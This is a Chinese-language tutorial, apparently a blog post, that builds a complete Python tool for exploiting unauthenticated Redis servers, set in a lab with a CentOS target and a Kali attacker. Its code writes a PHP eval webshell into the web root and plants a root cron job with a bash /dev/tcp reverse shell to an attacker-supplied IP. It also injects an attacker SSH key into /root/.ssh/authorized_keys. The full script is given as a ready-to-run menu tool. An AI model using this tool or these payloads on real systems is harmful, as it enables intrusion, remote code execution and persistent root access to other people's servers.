1 测试环境准备
centos 7(192.168.198.66/24):安装 redis 服务器并用 root 权限开启服务,关闭保护模式;安装并开启 httpd 服务;开启 ssh 服务。
kali(192.168.198.172/24):测试脚本效果,模拟攻击机。
win10:vs code开发脚本,xshell控制虚拟机。
2 未授权访问检测
首先需要检测 6379 端口是否开启,直接使用 socket 连接测试即可,is_port_open() 函数实现检测端口开启情况。
def is_port_open(host,port): s=socket.socket() s.settimeout(0.3) try: s.connect((host,port)) except exception as e: return false else: return true finally: s.close()
然后尝试连接 redis 服务器,这里用到redis模块中的strictredis(host,port,socket_timeout),通过client_list() 方法获取客户列表查看是否连接成功。如果成功连接到 redis 服务器, client_list() 的调用就不会抛出异常。
try: client = redis.strictredis(host=ip, port=port, socket_timeout=0.3) ok_lst = client.client_list() print('[+] connected to the redis server successfully...') except exception as e: print(f'[-] an unexpected error occurred: {e}')
3 写入webshell
redis命令:
config set dir /var/www/html config set dbfilename shell.php set x "<?php @eval($_post[123]); ?>" save
对应的 redis 模块的方法:
client.config_set('dir','/var/www/html') client.config_set('dbfilename','shell.php') client.set('x','<?php @eval($_post[123]); ?>') client.save()
增加设置根目录一句话木马名称和密码功能:
def webshell(client): try: df_dir='/var/www/html' web_dir=input('please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n') web_dir=web_dir.strip() if not web_dir: web_dir=df_dir name=input('please enter the name of the php file you want to upload: ') passwd=input('please enter the connection password: ') client.config_set('dir',web_dir) client.config_set('dbfilename',name+'.php') client.set('x','<?php @eval($_post['+passwd+']); ?>') client.save() print("[+] webshell "+name+".php"+" uploaded successfully...") except exception as e: print(f"[-] webshell upload failed: {e}")
4 建立反弹连接
同理,这里利用定时任务实现反弹连接。先设置 redis 数据库目录到系统定时任务目录,名字设置为 root (相当于修改 root 用户的定时任务),增加用户设定 ip 和端口监听功能。
def reverse(client): try: client.config_set('dir','/var/spool/cron') client.config_set('dbfilename','root') ip=input('set the attacker\'s ip address: ') port=input('set the listening port: ') payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n' client.set('x',payload) client.save() print("[+] reverse shell task created successfully...") except exception as e: print(f"[-] reverse shell creation failed: {e}")
5 ssh keys 免密登录
把 redis 的目录设置为 /root/.ssh,保存文件为 authorized_keys,实现在靶机中 authorized_keys 写入攻击者 ssh 公钥。
def ssh(client): try: sshkey=input('enter the ssh key you have generated: ') client.config_set('dir','/root/.ssh') client.config_set('dbfilename','authorized_keys') client.set('x','\n\n'+sshkey+'\n\n') client.save() print("[+] ssh key injected successfully.") except exception as e: print(f"[-] ssh key injection failed: {e}")
6 完整代码
import numpy as np import socket import redis import sys def hello_fk_redis(): a,b=60,30 x,y,r=30,15,13 img=np.zeros((b,a),dtype=str) for i in range(b): for j in range(a): dist=np.sqrt((i-y)**2+(j-x)**2) if r-1<dist<r+1: img[i,j]='*' elif abs(j-x)<1 and dist<r: img[i,j]='|' elif abs(i-y)<1 and dist<r: img[i,j]='-' img[img=='']=' ' for i in img: print(''.join(i)) print('----welcome to use redis vulnerability exploitation tool----') def is_port_open(host,port): s=socket.socket() s.settimeout(0.3) try: s.connect((host,port)) except exception as e: return false else: return true finally: s.close() def webshell(client): try: df_dir='/var/www/html' web_dir=input('please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n') web_dir=web_dir.strip() if not web_dir: web_dir=df_dir name=input('please enter the name of the php file you want to upload: ') passwd=input('please enter the connection password: ') client.config_set('dir',web_dir) client.config_set('dbfilename',name+'.php') client.set('x','<?php @eval($_post['+passwd+']); ?>') client.save() print("[+] webshell "+name+".php"+" uploaded successfully...") except exception as e: print(f"[-] webshell upload failed: {e}") def reverse(client): try: client.config_set('dir','/var/spool/cron') client.config_set('dbfilename','root') ip=input('set the attacker\'s ip address: ') port=input('set the listening port: ') ip=ip.strip() port=port.strip() payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n' client.set('x',payload) client.save() print("[+] reverse shell task created successfully...") except exception as e: print(f"[-] reverse shell creation failed: {e}") def ssh(client): try: sshkey=input('enter the ssh key you have generated: ') client.config_set('dir','/root/.ssh') client.config_set('dbfilename','authorized_keys') client.set('x','\n\n'+sshkey+'\n\n') client.save() print("[+] ssh key injected successfully.") except exception as e: print(f"[-] ssh key injection failed: {e}") if __name__ == '__main__': hello_fk_redis() ip=input('please enter the target machine\'s ip address: ') port=6379 if is_port_open(ip,port): print('[+] port 6379 is open...') print('[*] trying to connect redis server...') try: client=redis.strictredis(host=ip,port=port,socket_timeout=0.3) ok_lst=client.client_list() print('[+] connected to the redis server successfully...') print('please choose the exploit method you want to use:\nenter 1 for webshell\nenter 2 for establishing a reverse connection\nenter 3 for ssh key-based authentication\nor any other character to exit...') try: c=int(input()) if c==1: webshell(client) elif c==2: reverse(client) elif c==3: ssh(client) else: print('[*] exiting...') sys.exit() except exception: print('[*] exiting...') sys.exit() except exception as e: print(f'[-] an unexpected error occurred: {e}') else: print('[-] port 6379 is not open...')
7 测试效果 webshell
反弹连接
监听端口:7777
下面输入攻击机端口保证与监听的攻击机和端口一致:
免密登录
在 kali 中 .ssh 复制公钥 id_rsa.pub 的内容
免密登录:
以上就是使用python脚本实现redis未授权访问检测的详细内容,更多关于python redis未授权访问检测的资料请关注代码网其它相关文章!
发表评论